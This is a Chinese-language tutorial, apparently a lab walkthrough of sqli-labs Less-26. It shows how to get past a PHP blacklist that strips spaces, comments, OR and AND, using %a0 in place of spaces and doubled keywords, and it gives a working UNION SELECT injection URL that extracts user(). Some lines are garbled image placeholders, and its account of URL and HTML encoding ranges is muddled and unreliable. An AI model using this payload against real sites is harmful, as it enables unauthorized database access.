SQL注入:绕过空格注入

通常,我们在注入时会遇到各种过滤,这时候,我们就需要想办法去Bypass,这次遇到的是很常见的一种过滤,就是过滤了空格,一般的过滤空格的话我们可以使用注释符绕过,也就是用

/**/替代空格

达到注入的目的

_CG5OK@}9LB}5(U}P6EX$VW

但还有的时候,过滤的东西比较多,我们就不能使用了,比如这种过滤的代码

function blacklist($id)

{

    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)

    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)

    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*

    $id= preg_replace('/[--]/',"", $id);        //Strip out --

    $id= preg_replace('/[#]/',"", $id);            //Strip out #

    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces

    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes

    return $id;

}

这一下子就把注释符都给过滤掉了,那么我们也该想办法Bypass了

查了好久的资料,终于让我找到一个帖子:

这篇帖子讲的非常好,提到了比较独特的Bypass思路

这里面提到了一种猥琐而强大的Bypass方法,也就是%a0绕过

常用的URL编码中,会把空格编码成%20,所以通过浏览器发包,进行的URL编码中,空格被编码成%20,而这是属于HTML编码中

从 %00 到 %8f

的范围

但在HTML编码中,还有一个编码可以取代空格,也就是%a0

属于

从 %90 到 %ff

但这个却又不仅仅能表示空格,我们看下情况就知道了

http://192.168.150.129/sql/Less-26/?id=1'%a0AnandD%a01=2%a0union%a0select%a01,user(),3%a0aNandd%a0'1'='1

我们这么构造语句

接着通过代码抓取ID的情况看看

0DF4[[FA84J}(F$`@BW4(CQ

这就是传入到代码层的变量值,这样看来明明中间就是空格啊,按理说应该会被过滤的

怎么会Bypass呢?

但是,这时候中间的空格却不仅仅只代表一个空格,我们在页面把它输出来

1'�AnD�1=2�union�select�1,user(),3�aNd�'1'='1
中间的空格变成了

这个可算是一个不成汉字的中文字符了,那这应该就好理解了,因为%a0的特性,在进行正则匹配时,匹配到它时是识别为中文字符的,所以不会被过滤掉,但是在进入SQL语句后,Mysql是不认中文字符的,所以直接当作空格处理,就这样,我们便达成了Bypass的目的,成功绕过空格+注释的过滤

SQL注入:绕过空格注入

留下评论